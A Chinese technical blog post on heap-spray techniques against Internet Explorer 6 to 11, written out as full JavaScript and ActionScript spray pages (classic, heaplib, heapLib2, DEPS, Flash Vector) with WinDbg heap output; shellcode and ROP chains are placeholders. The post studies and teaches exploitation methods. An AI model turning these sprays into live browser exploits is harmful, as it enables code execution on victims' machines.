博客园的自动保存系统真心不咋地,写的差不多的文章蓝屏之后就没有了,醉了!
浏览器是互联网世界最主要的软件之一,从IE6到IE11安全攻防在不断升级,防御措施的实施促使堆喷射技巧不断变化。写这篇博文想好好整理并实践一下这些年的堆喷射技巧。
文章主要参考《灰帽黑客》,近几年的安全大会的一些演说,一些安全团队的blog,当然由于水平有限,如有错误,欢迎指教。
1.Windows XP下的IE6和IE7的堆喷射都是老生常谈了,最直接继承了Skylined的思想,直接放代码:
<html>
<script >
var shellcode = unescape('%u4141%u4141');
var bigblock = unescape('%u9090%u9090');
var headersize = 20;
var slackspace = headersize + shellcode.length;
while (bigblock.length < slackspace)
bigblock += bigblock;
var fillblock = bigblock.substring(0,slackspace);
var block = bigblock.substring(0,bigblock.length - slackspace);
while (block.length + slackspace < 0x40000)
block = block + block + fillblock;
var memory = new Array();
for (i = 0; i < 500; i++)
{
memory[i] = block + shellcode
}
</script>
</html>
这种堆喷射的关键在于使堆分配的分配的空间大小和它需要存储的数据的大小尽量接近,直接用windbg看一下用上面代码产生的效果如何。
其中,通过运行!heap –stat查看内存堆块信息,通过运行!heap –stat –h可以查看所有堆的同类信息,通过运行!heap -flt s来指出所有指定大小的堆块的信息。
0:009> !heap -stat
_HEAP 00140000
Segments 00000002
Reserved bytes 00200000
Committed bytes 0009f000
VirtAllocBlocks 00000001
VirtAlloc bytes 021b0000
_HEAP 00910000
Segments 00000001
Reserved bytes 00100000
Committed bytes 00100000
VirtAllocBlocks 00000000
VirtAlloc bytes 00000000
.......
:> !heap -stat -h
heap @
group-by: TOTSIZE max-display:
size #blocks total ( %) (percent of total busy bytes)
7ffe0 1f5 - fa7c160 (99.78)
- (0.01)
7fe0 - 7fe0 (0.01)
7fb0 - 7fb0 (0.01)
56f8 - 56f8 (0.01)
52ac - 52ac (0.01)
.....
:> !heap -flt s 7ffe0
_HEAP @
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
fffc [0b] 7ffe0 - (busy VirtualAlloc)
021b0018 fffc fffc [0b] 021b0020 7ffe0 - (busy VirtualAlloc)
022b0018 fffc fffc [0b] 022b0020 7ffe0 - (busy VirtualAlloc)
fffc fffc [0b] 7ffe0 - (busy VirtualAlloc)
023b0018 fffc fffc [0b] 023b0020 7ffe0 - (busy VirtualAlloc)
...
效果很好,当然这种手段只能用于IE6,IE7。
2.heaplib,libheap2以及它的精准喷射技术。
heaplib是一个js关于内存分配的库,主要用OLEAUT32.DLL中的SysAllocString()和SysFreeString()对系统内存进行精确分配,并进行封装。这是由Alex Sotirow创建的,可成功在IE8进行喷射,关于SysAllocString()函数,并不是每次调用SysAllocString函数,都会在堆中新分配一个内存空间供string对象使用的。所需空间分配和释放的具体工作是有OLEAUT32中的APP_DATA类实现的,在这个类中使用了一个很普通的内存分配算法:
一个类似于系统的堆内存分配函数(如HeapAlloc函数)使用的Lookaside list的缓存,被释放的内存满足一定条件时会被释放到这个缓存中。
当应用程序调用APP_DATA::AllocCachedMem()函数时,它首先会检查缓存中相应的项中的6个内存块,从中找出最符合要求内存块,然后把这个内存块从缓存中释放出来,把它直接返回给应用程序。如果没有找到合适的内存块,它就会调用HeapAlloc()函数从堆中发配新的内存空间。
在这种情况下,由于缓存内存的不确定性,会导致内存分配不能对齐。所以为了确保不重用堆缓存,可以直接分配6个块,每个块都是箱中允许的最大大小,不剩下任何可用的缓存块,代码如下:
//heapspary
plunger = new Array();
function flushCache() {
plunger = null;
CollectGarbage();
plunger = new Array();
for (i = 0; i < 6; i++) {
plunger.push(alloc(32));
plunger.push(alloc(64));
plunger.push(alloc(256));
plunger.push(alloc(32768));
}
}
flushCache();
alloc_str(0x200);
free_str();
flushCache();
SysFreeString()函数,实际在内部调用的是CollectGarbage()函数,调用这个函数我们就能立即强制垃圾处理机制。heaplib库的应用范围十分广泛,本文只会专注于堆喷射领域,下面,看一下堆喷射代码:
<!DOCTYPE html>
<html>
<head>
<script type="text/javascript" src="heaplib.js"></script>
</head>
<body>
<script type="text/javascript">
var heap_obj = new heapLib.ie(0x10000);
var code = unescape("%ucccc");
while(code.length<400) code += code;
code = code.substring(0,400);
var rop = unescape("%u4141%u4141%u4242%u4242%u4343%u4343%u4444%u4444%u4545%u4545%u4646%u4646%u4747%u4747%u4848%u4848");
var pad = unescape("%u9090%u9090");
while (pad.length < 0x1000) pad += pad;
offset_length = 0x5F6;
junk_offset = pad.substring(0, offset_length); var shellcode = junk_offset + rop + code + pad.substring(0, 0x800 - code.length - junk_offset.length - rop.length);
while (shellcode.length < 0x40000) shellcode += shellcode;
var block = shellcode.substring(2, 0x40000 - 0x21); for (var i=0; i < 500; i++) {
heap_obj.alloc(block);
}
alert("HeapLib done");
</script>
</body> </html>
Heaplib2库与Heaplib库最大的不同是使用了随机生成的DOM特性,在堆中分配负载。这样也绕过了一些浏览器的安全机制。可以在IE9~IE11成功喷射。
//heapSpray2
<!--Slighly modified and based on Chris Valasek script -->
<!DOCTYPE html>
<html> <head>
<script type="text/javascript" src="heapLib2.js"></script>
</head>
<body>
<h1 id="wonk" data-wonk="wonky">honk</h1> <script type="text/javascript">
var obj = document.getElementById("wonk"); //Create a heapLib2 object for Internet Explorer
var heap = new heapLib2.ie(obj, 0x80000);
var code = unescape("%ucccc");
while(code.length<400) code += code;
code = code.substring(0,400);
var rop = unescape("%u4141%u4141%u4242%u4242%u4343%u4343%u4444%u4444%u4545%u4545%u4646%u4646%u4747%u4747%u4848%u4848");
var pad = unescape("%u9090%u9090");
while (pad.length < 0x1000) pad += pad; offset_length = 0x5F6;
junk_offset = pad.substring(0, offset_length); var shellcode = junk_offset + rop + code + pad.substring(0, 0x800 - code.length - junk_offset.length - rop.length);
while (shellcode.length < 0x40000) shellcode += shellcode;
var block = shellcode.substring(2, 0x40000 - 0x21);
for (var i = 0; i < 0x500; i++){
//this will bypass the cache allocator
heap.sprayalloc("big_attr"+i, block);
}
heap.free("big_attr0");
alert("HeapLib2 done");
</script>
</body> </html>
由于DEP的实施,不能直接跳到nop进行执行,需要先进行ROP是的shellcode得到执行,所以我们需要预测rop链的准确位置,由于内存分配是对齐的,这意味着如果我们用正确的大小的块,和正确的大小的喷射块,我们将确保每个喷射块开始,将在可预见的地址定位。再通过简单的计算,可以实现准确喷射。
3.DEPS技术(DOM Element Property Spray) Corelan Team在2013年在博客上发的一篇文章简绍了这种技术。这项技术的思想是创建大量的DOM元素,设置一个元素属性为特殊值,也可以混合使用各种元素。
此外,DOM元素完成精确分配不是新技术。但我没看到基于这个概念的堆喷射。总之,DEPS技术基于以下四步:
>在页面放置一个div元素
>新建大量的任意元素
>用payload设置title属性,用substring()确保需要的长度
>增加这个到div
//喷射地址为0x20302228
<html>
<head></head>
<body>
<div id='blah'></div>
<script language='javascript'>
var div_container = document.getElementById('blah');
div_container.style.cssText = "display:none";
var data;
offset = 0x104;
junk = unescape("%u2020%u2020");
while(junk.length < 0x1000) junk+=junk; rop = unescape("%u4141%u4141%u4242%u4242%u4343%u4343%u4444%u4444%u4545%u4545%u4646%u4646%u4747%u4747");
shellcode = unescape("%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc");
data = junk.substring(0,offset) + rop + shellcode;
data += junk.substring(0,0x800-offset-rop.length-shellcode.length); //20+rop+shellcode+20 length==0x800 while(data.length < 0x80000) data += data;
for (var i=0; i < 0x250; i++)
{
var obj = document.createElement("spray");
obj.title = data.substring(0,0x40000-0x58);
obj.style.fontFamily = data.substring(0,0x40000-0x58);
div_container.appendChild(obj);
}
alert("spray done");
</script>
</body>
</html>
而且,这个技术并需要添加随机数据来保证不被防御措施发现,这也是这个技术一个优势所在。
4.HTML5 Spray,
HTML5的出现给浏览器提供更好的视频和音频体验,而不需要依赖外部插件,但是,一个新功能产生的同时,也会带来潜藏的攻击面,关于攻击面的描写,可以参照博客另一篇文章(关于Andorid攻击面)Core Security的Federico Muttis和Anibal Sacco在2012发表了关于使用HTML5进行堆喷射的研究。在其中,可以通过操作包括cancas在内的Uint8ClampedArray, FloatXXArray, IntXXArray, UintXXArray等元素来字节级加载负载。方然,直接使用这种方法速度过慢,容易被发现浏览器存在问题,更推荐使用WebWorker创建线程加快喷射。由于个人更喜爱DEPS,所以略写,当然经过测试,可以绕过IE11的防御机制,代码会放在文末的压缩包里面。
5.使用ActionScript进行喷射
ActionScript是Flash的原因。这并不是什么新的技术,虽然使用的ActionScript和Javascript不同,但是喷射原理基本一致,这里着重讲一下使用数组向量的Flash喷射:代码如下
//喷射地址为1a1b2000
package
{
import flash.media.*;
import flash.display.Sprite;
public class VecSpray extends Sprite
{
public var s:__AS3__.vec.Vector.<Object>;
public function VecSpray()
{
super();
this.s = new Vector.<Object>(98688);
var loc1:*=0; while (loc1 < 98688)
{
this.s[loc1] = new Vector.<uint>(4096 / 4 - 2);//0x3FE
this.s[loc1][0] = 0xDEADBEE1;
this.s[loc1][(16 - 8) / 4] = 0x1a1b2000; //[2]
this.s[loc1][(20 - 8) / 4] = 0x1a1b2000; //[3]
this.s[loc1][(752 - 8) / 4] = 0x41414141; //[186]
this.s[loc1][(448 - 8) / 4] = 0; //[110]
++loc1;
}
return;
}
}
}
这里通过对98688和3FE对地址进行控制。同时还可以帮助绕过ROP+ALSR。
6.JIT Spray技术
JIT喷射”技术是在 2010年首次被提出来的。其基本思想是利用高级脚本语言中的常量数字在可预测的地址上产生想要的JIT指令片段。随着JIT喷射作为一种可靠的漏洞利用技术逐渐流行起来,软件厂商开始着手重新设计它们的JIT引擎。此后,一系列缓解措施被采用来防止JIT喷射,比如随机化JIT代码页的分配及变换JIT代码生成。这导致JIT基本已经退出了历史的舞台,但是作为一种思路可以学习一下,这里就略去了,可以根据压缩包里资料自主学习。